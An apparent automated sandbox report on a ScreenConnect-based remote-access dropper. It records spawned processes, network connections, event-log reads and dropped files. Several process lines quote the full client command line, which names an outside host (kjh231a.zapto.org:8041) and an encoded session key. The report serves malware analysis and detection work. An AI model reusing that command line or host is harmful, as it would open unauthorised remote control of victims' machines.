Source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD05F2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.WindowsCl
Source: dfsvc.exe, 00000001.00000002.2221493797.0000021CD05F2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.WindowsClient.exe
Source: dfsvc.exe, 00000001.00000002.2240921151.0000021CEA9A5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.WindowsClient.exe.config
Source: dfsvc.exe, 00000001.00000002.2240600621.0000021CEA969000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.WindowsClient.exek
Source: dfsvc.exe, 00000001.00000002.2240600621.0000021CEA969000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.WindowsFileManager.exe
Source: dfsvc.exe, 00000001.00000002.2240921151.0000021CEA9A5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.WindowsFileManager.exe.configHW
Source: dfsvc.exe, 00000001.00000002.2240921151.0000021CEA9A5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.WindowsFileManager.exe.configrW6z
Source: dfsvc.exe, 00000001.00000002.2240600621.0000021CEA969000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.stansup.com/Bin/ScreenConnect.WindowsFileManager.exe7
Source: svchost.exe, 00000008.00000003.1383839850.000001E11B955000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1383599992.000001E11B92C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605506733.000001E11B03F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384050065.000001E11B93B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384032583.000001E11B94D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1384099647.000001E11B940000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://signup.live.com/signup.aspx
Source: unknown Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown HTTPS traffic detected: 79.110.49.185:443 -> 192.168.2.10:49702 version: TLS 1.2
Source: unknown HTTPS traffic detected: 79.110.49.185:443 -> 192.168.2.10:49722 version: TLS 1.2
Source: unknown HTTPS traffic detected: 79.110.49.185:443 -> 192.168.2.10:49724 version: TLS 1.2
Source: unknown HTTPS traffic detected: 79.110.49.185:443 -> 192.168.2.10:49725 version: TLS 1.2
Drops certificate files (DER)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4 Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C56C4404C4DEF0DC88E5FCD9F09CB2F1 Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141 Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands
barindex
Reads the Security eventlog
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnect
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnect
Reads the System eventlog
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnect

System Summary
barindex
Detected potential unwanted application
Source: Qjq85KfhBC.exe PE Siganture Subject Chain: CN="Connectwise, LLC", O="Connectwise, LLC", L=Tampa, S=Florida, C=US
Creates files inside the system directory
Source: C:\Windows\System32\svchost.exe File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ScreenConnect.ClientService.exe.log
Detected potential crypto function
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Code function: 0_2_0091A495 0_2_0091A495
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF7BFEDAF4F 1_2_00007FF7BFEDAF4F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF7BFEF5D32 1_2_00007FF7BFEF5D32
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF7BFEF3C30 1_2_00007FF7BFEF3C30
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF7BFF0ABC5 1_2_00007FF7BFF0ABC5
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF7BFF02461 1_2_00007FF7BFF02461
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF7BFEE327D 1_2_00007FF7BFEE327D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF7BFEF3101 1_2_00007FF7BFEF3101
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF7BFF0ED2F 1_2_00007FF7BFF0ED2F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF7BFEDF441 1_2_00007FF7BFEDF441
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF7BFED1240 1_2_00007FF7BFED1240
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF7BFED6178 1_2_00007FF7BFED6178
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 10_2_00007FF7BFED759C 10_2_00007FF7BFED759C
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 10_2_00007FF7BFED1B38 10_2_00007FF7BFED1B38
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 10_2_00007FF7BFED1AC0 10_2_00007FF7BFED1AC0
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Code function: 12_2_01913357 12_2_01913357
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Code function: 12_2_040DD1AB 12_2_040DD1AB
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Code function: 12_2_0574AF30 12_2_0574AF30
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Code function: 12_2_05743430 12_2_05743430
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF7BFEC717C 13_2_00007FF7BFEC717C
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF7BFEC10D7 13_2_00007FF7BFEC10D7
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF7BFEC10CF 13_2_00007FF7BFEC10CF
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF7BFEC1730 13_2_00007FF7BFEC1730
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF7BFEC16FA 13_2_00007FF7BFEC16FA
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF7C01D69FB 13_2_00007FF7C01D69FB
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF7C01E4C4D 13_2_00007FF7C01E4C4D
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF7C01DDC1D 13_2_00007FF7C01DDC1D
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF7C01DAE0C 13_2_00007FF7C01DAE0C
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF7C01D5790 13_2_00007FF7C01D5790
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF7C01D69F8 13_2_00007FF7C01D69F8
One or more processes crash
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 7648 -ip 7648
Uses 32bit PE files
Source: Qjq85KfhBC.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, PopoutPanelTaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ProgramTaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, TaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe0.1.dr, PopoutPanelTaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe0.1.dr, ProgramTaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe0.1.dr, TaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: ScreenConnect.ClientService.dll.1.dr, WindowsLocalUserExtensions.cs Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: classification engine Classification label: mal60.evad.winEXE@18/77@2/2
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Code function: 0_2_00911000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree, 0_2_00911000
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Deployment Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7648
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Mutant created: \BaseNamedObjects\Global\netfxeventlog.1.0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment Jump to behavior
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Command line argument: dfshim 0_2_00911000
Source: Qjq85KfhBC.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: Qjq85KfhBC.exe ReversingLabs: Detection: 23%
Source: unknown Process created: C:\Users\user\Desktop\Qjq85KfhBC.exe "C:\Users\user\Desktop\Qjq85KfhBC.exe"
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 7648 -ip 7648
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7648 -s 748
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe"
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=kjh231a.zapto.org&p=8041&s=ae095c23-8e22-4747-b9a0-c8c8b34ba57d&k=BgIAAACkAABSU0ExAAgAAAEAAQAFiJkYSsHWAiMLqCRmzzktgQckyG3TGgm6yPTLawNtNX6q1gr57JH4PrLfClMTmwPp16%2ftpUu72MJPhrP9Fe%2fDAOLI7IxssEnqHo0cK7GF8605xW1%2b29YYv7Gp%2f%2bRVnS8EXpyfNuusFYa%2bCoXawQboJM2Gi1VXFl4XcMGGJmYswsgo9qU%2fBqW3jX3LRGSRskHQDuJYQ8zNUvX1ZvvvtewO8gfRa7Z6WeC1pOnkHykQZ7ux8aNy9iCaTKjcx7FnTu1T7GRag6eNtt4weTuPK2uLu2HYzL%2fVKjjkmkP1xXy2lhSPvloy810giaMzeQQElR11NNJ7O%2bcRI%2b4xi9%2bIANXb&r=%2f&i=Untitled%20Session" "1"
Source: unknown Process created: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=kjh231a.zapto.org&p=8041&s=ae095c23-8e22-4747-b9a0-c8c8b34ba57d&k=BgIAAACkAABSU0ExAAgAAAEAAQAFiJkYSsHWAiMLqCRmzzktgQckyG3TGgm6yPTLawNtNX6q1gr57JH4PrLfClMTmwPp16%2ftpUu72MJPhrP9Fe%2fDAOLI7IxssEnqHo0cK7GF8605xW1%2b29YYv7Gp%2f%2bRVnS8EXpyfNuusFYa%2bCoXawQboJM2Gi1VXFl4XcMGGJmYswsgo9qU%2fBqW3jX3LRGSRskHQDuJYQ8zNUvX1ZvvvtewO8gfRa7Z6WeC1pOnkHykQZ7ux8aNy9iCaTKjcx7FnTu1T7GRag6eNtt4weTuPK2uLu2HYzL%2fVKjjkmkP1xXy2lhSPvloy810giaMzeQQElR11NNJ7O%2bcRI%2b4xi9%2bIANXb&r=%2f&i=Untitled%20Session" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe" "RunRole" "bd7f42b5-0144-4d3f-871e-9605118ce260" "User"
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe" Jump to behavior
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 7648 -ip 7648 Jump to behavior
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7648 -s 748 Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=kjh231a.zapto.org&p=8041&s=ae095c23-8e22-4747-b9a0-c8c8b34ba57d&k=BgIAAACkAABSU0ExAAgAAAEAAQAFiJkYSsHWAiMLqCRmzzktgQckyG3TGgm6yPTLawNtNX6q1gr57JH4PrLfClMTmwPp16%2ftpUu72MJPhrP9Fe%2fDAOLI7IxssEnqHo0cK7GF8605xW1%2b29YYv7Gp%2f%2bRVnS8EXpyfNuusFYa%2bCoXawQboJM2Gi1VXFl4XcMGGJmYswsgo9qU%2fBqW3jX3LRGSRskHQDuJYQ8zNUvX1ZvvvtewO8gfRa7Z6WeC1pOnkHykQZ7ux8aNy9iCaTKjcx7FnTu1T7GRag6eNtt4weTuPK2uLu2HYzL%2fVKjjkmkP1xXy2lhSPvloy810giaMzeQQElR11NNJ7O%2bcRI%2b4xi9%2bIANXb&r=%2f&i=Untitled%20Session" "1" Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe" "RunRole" "bd7f42b5-0144-4d3f-871e-9605118ce260" "User"
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Section loaded: dfshim.dll Jump to behavior
